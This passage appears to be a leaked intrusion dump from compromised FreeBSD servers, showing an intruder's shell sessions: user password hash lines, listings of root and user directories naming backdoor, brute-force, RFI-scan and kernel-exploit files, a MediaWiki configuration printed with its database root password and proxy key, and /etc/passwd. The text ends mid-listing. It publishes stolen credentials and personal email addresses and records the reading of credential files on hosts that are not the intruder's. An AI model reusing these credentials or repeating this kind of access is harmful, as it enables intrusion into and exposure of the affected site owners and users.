nt-server:$1$bAEJNi4W$JCRyivGro8EsX/yMCouDS/:1023:1023::0:0:User &:/home/nt-server:/usr/local/bin/bash syense:$1$tHx1g5xm$HDClXkM2jE1bosbJDjG.V/:1024:1024::0:0:User &:/home/syense:/usr/local/bin/bash trem12:$1$x1CIdzvF$LSaYQRI5aZU0gPSTfOggw0:1025:1025::0:0:User &:/home/trem12:/usr/local/bin/bash ian:$1$KW5wFPNM$J1xzBja4bP/6qAtHHBKm//:1026:1026::0:0:User &:/home/ian:/usr/local/bin/bash kate:$1$.pMZPvPH$KKvicI7gzVfOMRWmtVfck0:1027:1027::0:0:Kate Stone:/home/kate:/usr/local/bin/bash untitledhosting:$1$R8QaOXJ.$zjw6dJXsIiVJlsWfYYKWk.:1028:1028::0:0:User &:/home/untitledhosting:/usr/local/bin/bash inkyslair:$1$UFYE2CK0$WrlYr6wPe32qU1j.xwLiz0:1029:1029::0:0:User &:/home/inkyslair:/usr/local/bin/bash >> ls -la /root total 38474 drwx------ 19 root wheel 2048 Mar 12 21:59 . drwxr-xr-x 18 root wheel 512 Jan 26 19:57 .. -rwx------ 1 root wheel 3015 Feb 18 01:18 .bash_h1story -rwx------ 1 root wheel 9711 Mar 22 21:17 .bash_history -rwx------ 1 root wheel 30 Dec 15 17:10 .bash_profile -rwx------ 1 root wheel 30 Dec 15 17:03 .bashrc drwx------ 4 root wheel 512 Jan 5 10:07 .cpan -rwx------ 2 root wheel 801 Jan 12 2007 .cshrc drwx------ 2 root wheel 512 Mar 11 01:01 .elinks -rwx------ 1 root wheel 892 Dec 16 11:47 .history drwx------ 2 root wheel 512 Dec 15 16:14 .irssi -rwx------ 1 root wheel 143 Jan 12 2007 .k5login -rw------- 1 root wheel 35 Mar 12 22:10 .lesshst drwx------ 2 root wheel 512 Mar 11 01:01 .links -rwx------ 1 root wheel 293 Jan 12 2007 .login -rwx------ 1 root wheel 1081 Feb 25 06:52 .mysql_history -rwx------ 1 root wheel 17401 Mar 12 21:59 .pinerc -rwx------ 2 root wheel 251 Jan 27 21:36 .profile -rw------- 1 root wheel 1024 Feb 25 06:33 .rnd drwx------ 2 root wheel 512 Jan 29 22:58 .ssh drwx------ 3 root wheel 512 Jan 4 07:59 .subversion -rwx------ 1 root wheel 0 Feb 18 01:18 .temp drwx------ 3 root wheel 512 Dec 16 02:48 .tremulous drwx------ 5 root wheel 512 Dec 18 22:15 .weechat drwx------ 2 root wheel 512 Dec 29 08:57 72.20.14.247 -rwx------ 1 root wheel 1764184 Dec 19 01:55 Railroad.zip -rwx------ 1 root wheel 205609 Dec 17 15:39 acidtechpurple.zip -rwx------ 1 root wheel 6 Feb 16 19:36 auth.log -rwx------ 1 root wheel 588 Dec 16 02:41 base-config.cfg -rwx------ 1 root wheel 223 Dec 16 02:40 base-confs.cfg -rwx------ 1 root wheel 4199 Feb 18 01:16 bd.pl -rwx------ 1 root wheel 0 Feb 17 14:55 bot.pl drwx------ 3 root wheel 512 Feb 4 03:08 brute -rwx------ 1 root wheel 65 Feb 19 02:15 db.opt -rwx------ 1 root wheel 1827 Dec 16 03:05 install-trem-server.pl drwx------ 2 root wheel 6144 Feb 19 02:15 lt3c_phpbb drwx------ 2 root wheel 512 Jan 23 15:01 mail drwx------ 5 root wheel 512 Dec 24 01:18 master -rwx------ 1 root wheel 45778 Dec 24 02:56 master.tgz -rwx------ 1 root wheel 4367618 Jan 27 09:16 mbox drwx------ 14 root wheel 512 Jan 6 07:20 mumble -rwx------ 1 root wheel 631037 Feb 5 00:52 myspace.jpg -rwx------ 1 root wheel 46 Feb 19 02:13 mysql_fix.txt -rwx------ 1 root wheel 10704 Dec 16 21:05 nmap.log -rwx------ 1 root wheel 0 Jan 27 00:09 sshd_log -rwx------ 1 root wheel 92 Dec 16 03:04 start.sh -rwx------ 1 root wheel 29529 Dec 23 21:59 sys.pl -rwx------ 1 root wheel 30932992 Feb 3 08:57 test100.zip drwx------ 7 root wheel 512 Feb 24 00:05 trunk -rwx------ 1 root wheel 1155345 Feb 18 02:08 ts2_server_rc2_202319.tar.bz2 drwx------ 7 zipservers 100 512 Feb 18 22:15 tss2_rc2 drwx------ 4 root wheel 512 Dec 15 17:53 utils >> ls -la /usr/home total 56 drwxr-xr-x 25 1013 1013 512 Mar 10 23:08 . drwxr-xr-x 20 root wheel 512 Mar 11 23:49 .. drwxr-xr-x 6 alma-server alma-server 512 Jan 21 07:40 alma-server drwxr-xr-x 3 1013 1013 512 Jan 27 09:22 aox drwxr-xr-x 4 helldive helldive 512 Feb 4 00:21 helldive drwxr-xr-x 2 httpd httpd 512 Jan 4 05:14 httpd drwxr-xr-x 5 ian ian 512 Mar 20 17:47 ian drwx------ 25 inaki inaki 1536 Mar 17 21:06 inaki drwxr-xr-x 2 inkyslair inkyslair 512 Mar 15 22:16 inkyslair drwxr-xr-x 3 1010 ircd 512 Dec 16 20:25 ircd drwxr-xr-x 4 kate kate 512 Feb 28 06:22 kate drwxr-xr-x 2 1013 1013 512 Dec 14 17:42 ltsvadmin drwxr-xr-x 5 mjestic mjestic 512 Jan 14 06:44 mjestic drwxr-xr-x 4 ms-clanserver ms-clanserver 512 Dec 17 04:12 ms-clanserver drwxr-xr-x 4 negroe negroe 512 Feb 9 10:21 negroe drwxr-xr-x 9 nt-server nt-server 512 Mar 9 01:36 nt-server drwxr-xr-x 3 1013 1013 512 Dec 16 02:28 powerover drwxr-xr-x 2 relentless relentless 512 Feb 7 16:55 relentless drwxr-xr-x 6 syense syense 512 Mar 17 07:51 syense drwxr-xr-x 4 test-serv test-serv 512 Jan 21 08:01 test-serv drwxr-xr-x 5 trem-maps trem-maps 6656 Feb 26 03:57 trem-maps drwxr-xr-x 4 trem12 trem12 512 Feb 18 22:53 trem12 drwxr-xr-x 5 tremulous tremulous 512 Mar 21 20:09 tremulous drwxr-xr-x 2 untitledhosting untitledhosting 512 Mar 7 15:18 untitledhosting drwxr-xr-x 2 1013 1013 512 Feb 23 07:23 zipservers >> ls -la invalid.site/www/ total 3718 drwxrwxrwx 3 root wheel 512 Mar 11 04:15 . drwxr-xr-x 4 root wheel 512 Feb 6 07:03 .. -rwxr-xr-x 1 root wheel 551940 Mar 1 04:58 __spl drwxr-xr-x 11 root wheel 2560 Mar 10 03:49 __sql -rwxr-xr-x 1 root wheel 13534 Mar 5 06:47 a.out -rw-r--r-- 1 root wheel 2412 Feb 15 07:40 attack.php -rw-r--r-- 1 root wheel 2412 Feb 15 07:40 attack.src -rwxr-xr-x 1 root wheel 4175 Mar 8 02:18 bd.txt -rwxr-xr-x 1 root wheel 4168 Mar 8 02:24 bd_2.txt -rwxrwxrwx 1 root wheel 4606 Feb 29 06:10 bopm.conf -rw-r--r-- 1 root wheel 5784 Mar 3 13:54 cute.php -rw-r--r-- 1 root wheel 706 Mar 9 06:23 dc.txt -rw-r--r-- 1 root wheel 5185 Mar 1 05:55 exp.pm -rw-r--r-- 1 root wheel 10486 Mar 1 06:10 get.txt -rw-r--r-- 1 root wheel 10423 Mar 1 06:00 get.txty -rw-r--r-- 1 root wheel 20 Mar 1 03:18 index.php -rw-r--r-- 1 root wheel 341 Mar 7 02:22 inf.txt -rwxr-xr-x 1 root wheel 13534 Mar 1 06:54 kmod -rw-r--r-- 1 root wheel 3740 Mar 15 13:56 kmod.c -rwxr-xr-x 1 root wheel 9014 Mar 5 06:47 krad -rw-r--r-- 1 root wheel 232 Feb 14 03:11 owned.php -rwxr-xr-x 1 root wheel 8574 Mar 1 06:17 perl_root -rw------- 1 httpd wheel 3072000 Mar 9 05:21 php-cgi.core -rw-r--r-- 1 root wheel 3457 Feb 29 06:33 repl.txt [root@athena:/var/www] >> ls -la lt3c.info/www/ total 712 drwxr-xr-x 7 httpd httpd 512 Feb 16 19:37 . drwxr-xr-x 4 httpd httpd 512 Jan 26 09:24 .. -rw-r--r-- 1 root httpd 205609 Dec 17 15:39 acidtechpurple.zip drwxr-xr-x 2 httpd httpd 512 Jan 31 02:23 css drwxr-xr-x 13 httpd httpd 1024 Feb 9 02:40 forum drwxr-xr-x 2 httpd httpd 512 Jan 31 05:34 images -rw-r--r-- 1 httpd httpd 3094 Mar 8 01:44 index.php drwxr-xr-x 2 httpd httpd 512 Mar 17 20:50 inky -rw-r--r-- 1 httpd httpd 267 Mar 8 01:44 lib.php drwxr-xr-x 2 httpd httpd 512 Jan 31 07:01 pages -rw-r--r-- 1 httpd httpd 904 Mar 8 01:44 temp.htm -rw-r--r-- 1 root httpd 45 Feb 12 08:27 uta.htm -rw-r--r-- 1 root httpd 214602 Feb 12 08:13 uta.pmd -rw-r--r-- 1 root httpd 211734 Feb 12 08:24 uta.qcp [root@athena:/var/www] >> ls -la partyvanradio.org/www/ total 6 drwxr-xr-x 2 relentless relentless 512 Feb 7 06:54 . drwxr-xr-x 4 root wheel 512 Feb 7 06:53 .. -rw-r--r-- 1 relentless relentless 166 Feb 7 07:13 index.php [root@athena:/var/www] >> ls -la untitledhosting.org/www/ total 74 drwxr-xr-x 10 untitledhosting untitledhosting 512 Mar 10 03:05 . drwxr-xr-x 4 root wheel 512 Mar 7 15:13 .. -rw-r--r-- 1 untitledhosting untitledhosting 8 Mar 10 03:05 LAWL drwxr-xr-x 4 untitledhosting untitledhosting 2048 Mar 10 02:47 admin -rwxr-xr-x 1 untitledhosting untitledhosting 5805 Mar 10 02:52 config.php drwxr-xr-x 2 untitledhosting untitledhosting 512 Mar 10 02:47 doc -rw-r--r-- 1 untitledhosting untitledhosting 318 Jan 3 02:56 favicon_cms.ico -rw-r--r-- 1 untitledhosting untitledhosting 330 Jan 3 02:56 fileloc.php drwxr-xr-x 3 untitledhosting untitledhosting 512 Mar 10 02:47 images -rw-r--r-- 1 untitledhosting untitledhosting 8187 Jan 3 02:56 include.php -rw-r--r-- 1 untitledhosting untitledhosting 9809 Jan 3 02:56 index.php drwxr-xr-x 11 untitledhosting untitledhosting 512 Mar 10 02:47 lib -rw-r--r-- 1 untitledhosting untitledhosting 961 Jan 3 02:56 moduleinterface.php drwxrwxrwx 12 untitledhosting untitledhosting 512 Mar 10 02:47 modules drwxr-xr-x 3 untitledhosting untitledhosting 2048 Mar 10 02:47 plugins -rw-r--r-- 1 untitledhosting untitledhosting 1955 Jan 3 02:56 preview.php -rw-r--r-- 1 untitledhosting untitledhosting 168 Jan 3 02:56 robots.txt -rw-r--r-- 1 untitledhosting untitledhosting 4161 Jan 3 02:56 soap.php -rw-r--r-- 1 untitledhosting untitledhosting 2535 Jan 3 02:56 stylesheet.css -rw-r--r-- 1 untitledhosting untitledhosting 5179 Jan 3 02:56 stylesheet.php drwxrwxrwx 6 untitledhosting untitledhosting 512 Mar 10 02:47 tmp drwxrwxrwx 4 untitledhosting untitledhosting 512 Mar 10 03:09 uploads -rw-r--r-- 1 untitledhosting untitledhosting 1127 Jan 3 02:56 version.php [root@athena:/var/www] >> ls -la /home/inaki/ total 157184 drwx------ 25 inaki inaki 1536 Mar 17 21:06 . drwxr-xr-x 25 1013 1013 512 Mar 10 23:08 .. -rwx------ 1 inaki inaki 10462 Mar 22 00:28 .bash_history -rwx------ 1 inaki inaki 30 Dec 16 17:56 .bash_profile -rwx------ 1 inaki inaki 30 Dec 16 17:56 .bashrc -rw-r--r-- 1 inaki inaki 14178 Mar 4 00:00 .bot_log -rwx------ 1 inaki inaki 767 Dec 15 16:07 .cshrc -rw-r--r-- 1 inaki inaki 6 Mar 17 21:06 .gay-state -rwx------ 1 inaki inaki 142 Dec 17 01:58 .history drwx------ 2 inaki inaki 512 Dec 18 22:12 .irssi -rw------- 1 inaki inaki 35 Mar 9 18:42 .lesshst drwx------ 2 inaki inaki 512 Jan 30 21:51 .links -rwx------ 1 inaki inaki 248 Dec 15 16:07 .login -rwx------ 1 inaki inaki 158 Dec 15 16:07 .login_conf -rwx------ 1 inaki inaki 373 Dec 15 16:07 .mail_aliases -rwx------ 1 inaki inaki 331 Dec 15 16:07 .mailrc -rwx------ 1 inaki inaki 797 Dec 15 16:07 .profile -rwx------ 1 inaki inaki 276 Dec 15 16:07 .rhosts -rwx------ 1 inaki inaki 975 Dec 15 16:07 .shrc drwx------ 2 inaki inaki 512 Feb 9 07:09 .ssh drwx------ 7 inaki inaki 512 Mar 17 16:56 .weechat -rw-r--r-- 1 inaki inaki 1330 Mar 10 03:53 InstallMorgan.pl drwxr-xr-x 2 inaki inaki 512 Mar 5 22:56 RFIscan drwx------ 17 inaki inaki 1536 Mar 12 21:55 Unreal3.2.7 -rwx------ 1 inaki inaki 2801622 Dec 29 09:01 Unreal3.2.7.tar.gz -rw-r--r-- 1 inaki inaki 12469 Mar 7 05:27 _good_rfis.txt drwx------ 7 inaki inaki 1024 Dec 27 22:44 anope-1.7.19 -rwx------ 1 inaki inaki 1505639 Jun 10 2007 anope-1.7.19.tar.gz drwx------ 8 inaki inaki 512 Jan 13 07:25 bopm drwx------ 5 inaki inaki 1024 Jan 13 07:02 bopm-3.1.3 -rwx------ 1 inaki inaki 819273 May 16 2007 bopm-3.1.3.tar.gz -rwx------ 1 inaki inaki 1424 Dec 27 21:59 bot.pl -rwx------ 1 inaki inaki 1401 Dec 25 08:31 bot.pl.save -rwx------ 1 inaki inaki 1417 Dec 27 21:57 bot.pl\ drwx------ 4 inaki inaki 512 Mar 3 14:10 botpanel -rwx------ 1 inaki inaki 11962 Feb 13 03:05 botpanel.tgz -rwx------ 1 inaki inaki 0 Dec 23 00:06 cigarette -rw-r--r-- 1 inaki inaki 1334 Mar 8 05:57 cleanrfi.pl drwxrwxrwx 3 inaki inaki 512 Feb 23 04:17 exe drwx------ 2 inaki inaki 512 Feb 9 07:43 flash -rwx------ 1 inaki inaki 130677 Jul 14 2007 gay -rwx------ 1 inaki inaki 2576 Nov 24 23:25 gen.pl -rwxr-xr-x 1 inaki inaki 655 Mar 5 02:45 getRFI.sh -rw-r--r-- 1 inaki inaki 121721 Mar 10 04:33 good_rfis.txt drwxrwxrwx 2 inaki inaki 512 Feb 21 04:08 images drwx------ 8 inaki inaki 512 Jan 5 09:48 ircd -rwx------ 1 inaki inaki 2457953 Dec 19 02:58 irssi -rwx------ 1 inaki inaki 530 Dec 19 01:34 jap.pl drwx------ 5 inaki inaki 512 Feb 17 15:56 jewgong -rwx------ 1 inaki inaki 1507 Jan 5 08:37 lol.sh -rwx------ 1 inaki inaki 5026 Feb 1 23:08 lolol drwx------ 4 inaki inaki 512 Jan 4 22:25 lulzhost.net -rwx------ 1 inaki inaki 45778 Dec 24 02:22 master.tgz drwx------ 7 inaki inaki 512 Dec 27 22:50 misc -rwx------ 1 inaki inaki 1993 Dec 1 19:39 mpdnp.pl drwx------ 2 inaki inaki 512 Feb 17 11:04 music -rwx------ 1 inaki inaki 9576448 Feb 3 09:29 openssl_installer.exe -rwx------ 1 inaki inaki 0 Feb 11 03:27 out drwx------ 2 inaki inaki 512 Jan 11 20:20 oxygen -rwx------ 1 inaki inaki 0 Nov 25 09:04 pizza drwx------ 2 inaki inaki 512 Jan 16 23:14 public_html drwx------ 2 inaki inaki 512 Jan 4 03:33 radiobot -rwx------ 1 inaki inaki 806 Dec 16 21:17 range -rw-r--r-- 1 inaki inaki 190367 Mar 21 21:52 rfis.txt drwx------ 3 inaki inaki 1024 Jan 14 00:38 seeborg-0.51 -rwx------ 1 inaki inaki 58113 Aug 15 2003 seeborg-0.51.tar.gz -rwx------ 1 inaki inaki 825 Dec 1 17:59 server.cfg -rwx------ 1 inaki inaki 14285284 Dec 25 03:00 sy.rar -rwx------ 1 inaki inaki 55 Dec 8 10:30 test -rwx------ 1 inaki inaki 67 Dec 7 12:48 test.sh drwx------ 3 inaki inaki 512 Jan 5 09:48 testircd -rwx------ 1 inaki inaki 0 Nov 24 22:00 trace.rt -rwx------ 1 inaki inaki 128561152 Mar 8 00:19 weechat-curses.core -rwx------ 1 inaki inaki 69 Dec 16 21:17 xh.pl >> ls -la /usr/home/mjestic/ total 204 drwxr-xr-x 5 mjestic mjestic 512 Jan 14 06:44 . drwxr-xr-x 25 1013 1013 512 Mar 10 23:08 .. -rw------- 1 mjestic mjestic 1404 Jan 14 06:52 .bash_history -rw-r--r-- 1 mjestic mjestic 767 Jan 14 05:18 .cshrc -rw-r--r-- 1 mjestic mjestic 248 Jan 14 05:18 .login -rw-r--r-- 1 mjestic mjestic 158 Jan 14 05:18 .login_conf -rw------- 1 mjestic mjestic 373 Jan 14 05:18 .mail_aliases -rw-r--r-- 1 mjestic mjestic 331 Jan 14 05:18 .mailrc -rw-r--r-- 1 mjestic mjestic 797 Jan 14 05:18 .profile -rw------- 1 mjestic mjestic 276 Jan 14 05:18 .rhosts -rw-r--r-- 1 mjestic mjestic 975 Jan 14 05:18 .shrc drwxr-xr-x 4 mjestic mjestic 512 Jan 14 06:45 .tremulous drwxr-xr-x 5 mjestic mjestic 512 Nov 8 07:29 arcade -rw-r--r-- 1 mjestic mjestic 178453 Nov 8 07:30 arcade-svn971-14-vm.tar.gz drwxr-xr-x 3 mjestic mjestic 512 Jan 14 06:46 trem-server [root@athena:/var/www] /* * * And now for partyvan.info * */ $ uname -a FreeBSD partyvan.info 7.0-RELEASE FreeBSD 7.0-RELEASE #0: Sun Feb 24 19:59:52 UTC 2008 root@logan.cse.buffalo.edu:/usr/obj/usr/src/sys/GENERIC i386 $ w 12:22AM up 2:37, 0 users, load averages: 0.06, 0.06, 0.07 USER TTY FROM LOGIN@ IDLE WHAT $ ls apache22 squirrelmail $ pwd /usr/local/www $ cd apache22 $ ls -al total 14 drwxr-xr-x 6 root wheel 512 Mar 8 16:40 . drwxr-xr-x 4 root wheel 512 Mar 8 22:03 .. drwxr-xr-x 2 root wheel 512 Mar 8 16:40 cgi-bin drwxr-xr-x 28 root wheel 1536 Mar 8 22:01 data drwxr-xr-x 3 root wheel 1024 Mar 8 16:40 error drwxr-xr-x 3 root wheel 3584 Mar 8 16:40 icons $ cd data $ ls -al total 120006 drwxr-xr-x 28 root wheel 1536 Mar 8 22:01 . drwxr-xr-x 6 root wheel 512 Mar 8 16:40 .. drwxr-xr-x 3 root picatta 512 Mar 8 17:41 711chan -rwxr-xr-x 1 root picatta 825 Mar 5 12:48 AdminSettings.sample -rwxr-xr-x 1 root picatta 17997 Mar 5 12:48 COPYING -rwxr-xr-x 1 root picatta 162 Mar 5 12:48 FAQ -rwxr-xr-x 1 root picatta 175294 Mar 5 12:48 HISTORY -rwxr-xr-x 1 root picatta 3992 Mar 5 12:48 INSTALL -rw-r--r-- 1 root picatta 4522 Mar 5 12:48 LocalSettings.php -rwxr-xr-x 1 root picatta 27 Mar 5 12:48 Makefile -rwxr-xr-x 1 root picatta 44283 Mar 5 12:48 RELEASE-NOTES -rwxr-xr-x 1 root picatta 605 Mar 5 12:48 StartProfiler.php -rwxr-xr-x 1 root picatta 12816 Mar 5 12:48 UPGRADE -rwxr-xr-x 1 root picatta 1316 Mar 5 12:48 api.php drwxr-xr-x 2 root picatta 512 Mar 8 17:41 auth drwxr-xr-x 3 root wheel 512 Mar 8 17:41 backup drwxr-xr-x 2 root picatta 512 Mar 8 17:41 bin drwxr-xr-x 18 root picatta 512 Mar 8 17:41 cachedir drwxr-xr-x 2 root picatta 512 Mar 8 17:41 cgi-bin -rw-r--r-- 1 root picatta 1832 Mar 5 12:48 cheese.gif -rw-r--r-- 1 root picatta 1677 Mar 5 12:48 cheese2.gif -rwxr-xr-x 1 root picatta 122077184 Mar 5 12:48 core.21271 drwxr-xr-x 3 root picatta 512 Mar 8 17:41 dev drwxr-xr-x 4 root picatta 512 Mar 8 17:41 docs drwxr-xr-x 2 root picatta 512 Mar 8 17:41 donate -rw-r--r-- 1 root picatta 2037 Mar 5 12:48 epiccheese.js -rw-r--r-- 1 root picatta 2091 Mar 5 12:48 epicfail.js drwxr-xr-x 2 root picatta 512 Mar 8 17:41 extensions -rwxr-xr-x 1 root picatta 1150 Mar 5 12:48 favicon.ico drwxr-xr-x 2 root picatta 512 Mar 8 17:41 fimg -rwxr-xr-x 1 root picatta 1501 Mar 5 12:48 front.php -rwxr-xr-x 1 root picatta 173 Mar 5 12:48 google.html drwxr-xr-x 3 root picatta 512 Mar 8 17:41 hosted drwxr-xr-x 21 root picatta 512 Mar 8 17:41 images -rwxr-xr-x 1 root picatta 1978 Mar 5 12:48 img_auth.php drwxr-xr-x 7 root picatta 5632 Mar 8 17:41 includes -rwxr-xr-x 1 root picatta 113 Mar 5 12:48 index.dongs -rwxr-xr-x 1 root picatta 1513 Mar 5 12:48 index.old -rwxr-xr-x 1 root picatta 8716 Mar 5 12:48 index.php -rwxr-xr-x 1 root picatta 454 Mar 5 12:48 index.php__ -rwxr-xr-x 1 root picatta 21 Mar 5 12:48 info.php -rwxr-xr-x 1 root picatta 3899 Mar 5 12:48 install-utils.inc drwxr-xr-x 4 root picatta 512 Mar 8 17:41 languages -rwxr-xr-x 1 root picatta 584 Mar 5 12:48 load.php drwxr-xr-x 2 root picatta 512 Mar 8 17:41 locale -rwxr-xr-x 1 root picatta 3227 Mar 5 12:48 lol.css drwxr-xr-x 9 root picatta 4096 Mar 8 17:41 maintenance drwxr-xr-x 2 root picatta 512 Mar 8 17:41 math -rw-r--r-- 1 root picatta 0 Mar 5 12:48 merge.php -rwxr-xr-x 1 root picatta 19631 Mar 5 12:48 mudkipz.png -rwxr-xr-x 1 root picatta 1532 Mar 5 12:48 opensearch_desc.php -rwxr-xr-x 1 root picatta 65394 Mar 5 12:48 owned1.jpg -rwxr-xr-x 1 root picatta 67133 Mar 5 12:48 owned2.jpg -rw-r--r-- 1 picatta picatta 361 Mar 8 21:56 portl.html -rwxr-xr-x 1 root picatta 6173 Mar 5 12:48 profileinfo.php drwxr-xr-x 3 root picatta 512 Mar 8 17:41 public_ftp drwxr-xr-x 7 root picatta 1024 Mar 8 17:41 raid -rwxr-xr-x 1 root picatta 428 Mar 5 12:48 redir.php -rwxr-xr-x 1 root picatta 319 Mar 5 12:48 redirect.php -rwxr-xr-x 1 root picatta 91 Mar 5 12:48 redirect.phtml -rwxr-xr-x 1 root picatta 92 Mar 5 12:48 robots.txt -rwxr-xr-x 1 root picatta 1351 Mar 5 12:48 seal.php drwxr-xr-x 2 root picatta 512 Mar 8 17:41 serialized -rwxr-xr-x 1 root picatta 147770 Mar 5 12:48 shit.jpg drwxr-xr-x 10 root picatta 1024 Mar 8 17:41 skins drwxr-xr-x 3 root picatta 512 Mar 8 17:41 t -rwxr-xr-x 1 root picatta 6 Mar 5 12:48 test -rwxr-xr-x 1 root picatta 27 Mar 5 12:48 test.php -rwxr-xr-x 1 root picatta 53 Mar 5 12:48 test2.php drwxr-xr-x 2 root picatta 512 Mar 8 17:41 tests -rwxr-xr-x 1 root picatta 2408 Mar 5 12:48 thumb.php drwxr-xr-x 2 root picatta 512 Mar 8 17:41 tmp -rwxr-xr-x 1 root picatta 1384 Mar 5 12:48 trackback.php drwxr-xr-x 2 root picatta 512 Mar 8 17:41 vamp -rwxr-xr-x 1 root picatta 88 Mar 5 12:48 wiki.phtml -rwxr-xr-x 1 root picatta 1756 Mar 5 12:48 ~index.php $ cat LocalSettings.php <?php # This file was automatically generated by the MediaWiki installer. # If you make manual changes, please keep track in case you need to # recreate them later. # # See includes/DefaultSettings.php for all configurable settings # and their default values, but don't forget to make changes in _this_ # file, not there. # If you customize your file layout, set $IP to the directory that contains # the other MediaWiki files. It will be used as a base to locate files. if( defined( 'MW_INSTALL_PATH' ) ) { $IP = MW_INSTALL_PATH; } else { $IP = dirname( __FILE__ ); } $path = array( $IP, "$IP/includes", "$IP/languages" ); set_include_path( implode( PATH_SEPARATOR, $path ) . PATH_SEPARATOR . get_include_path() ); require_once( "includes/DefaultSettings.php" ); # If PHP's memory limit is very low, some operations may fail. # ini_set( 'memory_limit', '20M' ); if ( $wgCommandLineMode ) { if ( isset( $_SERVER ) && array_key_exists( 'REQUEST_METHOD', $_SERVER ) ) { die( "This script must be run from the command line\n" ); } } elseif ( empty( $wgNoOutputBuffer ) ) { ## Compress output if the browser supports it if( !ini_get( 'zlib.output_compression' ) ) @ob_start( 'ob_gzhandler' ); } $wgSitename = "Insurgency Wiki"; ## The URL base path to the directory containing the wiki; ## defaults for all runtime URL paths are based off of this. $wgScriptPath = ""; ## For more information on customizing the URLs please see: ## http://www.mediawiki.org/wiki/Manual:Short_URL $wgShowIPinHeader = false; $wgEnableEmail = true; $wgEnableUserEmail = true; $wgEmergencyContact = "Coprolal1an@gmail.com"; $wgPasswordSender = "Coprolal1an@gmail.com"; ## For a detailed description of the following switches see ## http://meta.wikimedia.org/Enotif and http://meta.wikimedia.org/Eauthent ## There are many more options for fine tuning available see ## /includes/DefaultSettings.php ## UPO means: this is also a user preference option $wgEnotifUserTalk = true; # UPO $wgEnotifWatchlist = true; # UPO $wgEmailAuthentication = true; $wgDBtype = "mysql"; $wgDBserver = "localhost"; $wgDBname = "partyvan_insurgency"; $wgDBuser = "root"; $wgDBpassword = "lolcats8295"; $wgDBport = "3306"; $wgDBprefix = "mw_"; # Schemas for Postgres $wgDBmwschema = "mediawiki"; $wgDBts2schema = "public"; # Experimental charset support for MySQL 4.1/5.0. $wgDBmysql5 = false; ## Shared memory settings $wgFileCacheDirectory = '/home/partyvan/public_html/cachedir/'; $wgShowIPinHeader = false; $wgUseFileCache = true; $wgMainCacheType = CACHE_MEMCACHED; $wgDisableCounters=true; $wgMemCachedServers = array(); $wgUseMemCached = true; $wgMemCachedServers = array( "127.0.0.1:11211" ); ## To enable image uploads, make sure the 'images' directory ## is writable, then set this to true: $wgEnableUploads = true; $wgUseImageResize = true; $wgUseImageMagick = true; $wgImageMagickConvertCommand = "/usr/bin/convert"; ## If you want to use image uploads under safe mode, ## create the directories images/archive, images/thumb and ## images/temp, and make them all writable. Then uncomment ## this, if it's not already uncommented: # $wgHashedUploadDirectory = false; ## If you have the appropriate support software installed ## you can enable inline LaTeX equations: $wgUseTeX = false; $wgLocalInterwiki = $wgSitename; $wgLanguageCode = "en"; $wgProxyKey = "79057c7a1562bb0417a20556cf0a63001ebacb27da55d05511820902bab34586"; ## Default skin: you can change the default skin. Use the internal symbolic ## names, ie 'standard', 'nostalgia', 'cologneblue', 'monobook': $wgDefaultSkin = 'nostalgia'; ## For attaching licensing metadata to pages, and displaying an ## appropriate copyright notice / icon. GNU Free Documentation ## License and Creative Commons licenses are supported so far. $wgEnableCreativeCommonsRdf = true; $wgRightsPage = ""; # Set to the title of a wiki page that describes your license/copyright $wgRightsUrl = "http://creativecommons.org/licenses/by-nc-sa/3.0/"; $wgRightsText = "Attribution-Noncommercial-Share Alike 3.0 "; $wgRightsIcon = "http://i.creativecommons.org/l/by-nc-sa/3.0/88x31.png"; # $wgRightsCode = "by-nc-sa"; # Not yet used $wgDiff3 = "/usr/bin/diff3"; # When you make changes to this configuration file, this will make # sure that cached pages are cleared. $configdate = gmdate( 'YmdHis', @filemtime( __FILE__ ) ); $wgCacheEpoch = max( $wgCacheEpoch, $configdate ); ?> $ cat /etc/passwd # $FreeBSD: src/etc/master.passwd,v 1.40 2005/06/06 20:19:56 brooks Exp $ # root:*:0:0:Charlie &:/root:/bin/csh toor:*:0:0:Bourne-again Superuser:/root: daemon:*:1:1:Owner of many system processes:/root:/usr/sbin/nologin operator:*:2:5:System &:/:/usr/sbin/nologin bin:*:3:7:Binaries Commands and Source:/:/usr/sbin/nologin tty:*:4:65533:Tty Sandbox:/:/usr/sbin/nologin kmem:*:5:65533:KMem Sandbox:/:/usr/sbin/nologin games:*:7:13:Games pseudo-user:/usr/games:/usr/sbin/nologin news:*:8:8:News Subsystem:/:/usr/sbin/nologin man:*:9:9:Mister Man Pages:/usr/share/man:/usr/sbin/nologin sshd:*:22:22:Secure Shell Daemon:/var/empty:/usr/sbin/nologin smmsp:*:25:25:Sendmail Submission User:/var/spool/clientmqueue:/usr/sbin/nologin mailnull:*:26:26:Sendmail Default User:/var/spool/mqueue:/usr/sbin/nologin bind:*:53:53:Bind Sandbox:/:/usr/sbin/nologin proxy:*:62:62:Packet Filter pseudo-user:/nonexistent:/usr/sbin/nologin _pflogd:*:64:64:pflogd privsep user:/var/empty:/usr/sbin/nologin _dhcp:*:65:65:dhcp programs:/var/empty:/usr/sbin/nologin uucp:*:66:66:UUCP pseudo-user:/var/spool/uucppublic:/usr/local/libexec/uucp/uucico pop:*:68:6:Post Office Owner:/nonexistent:/usr/sbin/nologin www:*:80:80:World Wide Web Owner:/nonexistent:/usr/sbin/nologin nobody:*:65534:65534:Unprivileged user:/nonexistent:/usr/sbin/nologin picatta:*:1001:1001:picatta:/home/picatta:/bin/sh general:*:1002:1002:general:/home/general:/bin/sh mysql:*:88:88:MySQL Daemon:/nonexistent:/sbin/nologin cyrus:*:60:60:the cyrus mail server:/usr/local/cyrus:/bin/csh $ ls -al /usr/home total 8 drwxr-xr-x 4 root wheel 512 Mar 8 07:48 . drwxr-xr-x 17 root wheel 512 Mar 8 07:48 .. drwxr-xr-x 2 general general 512 Mar 8 07:48 general drwxr-xr-x 2 picatta picatta 512 Mar 8 07:47 picatta $ cd ~picatta $ ls -al total 20 drwxr-xr-x 2 picatta picatta 512 Mar 8 07:47 . drwxr-xr-x 4 root wheel 512 Mar 8 07:48 .. -rw-r--r-- 1 picatta picatta 751 Mar 8 07:47 .cshrc -rw-r--r-- 1 picatta picatta 248 Mar 8 07:47 .login -rw-r--r-- 1 picatta picatta 158 Mar 8 07:47 .login_conf -rw------- 1 picatta picatta 373 Mar 8 07:47 .mail_aliases -rw-r--r-- 1 picatta picatta 331 Mar 8 07:47 .mailrc -rw-r--r-- 1 picatta picatta 766 Mar 8 07:47 .profile -rw------- 1 picatta picatta 276 Mar 8 07:47 .rhosts -rw-r--r-- 1 picatta picatta 975 Mar 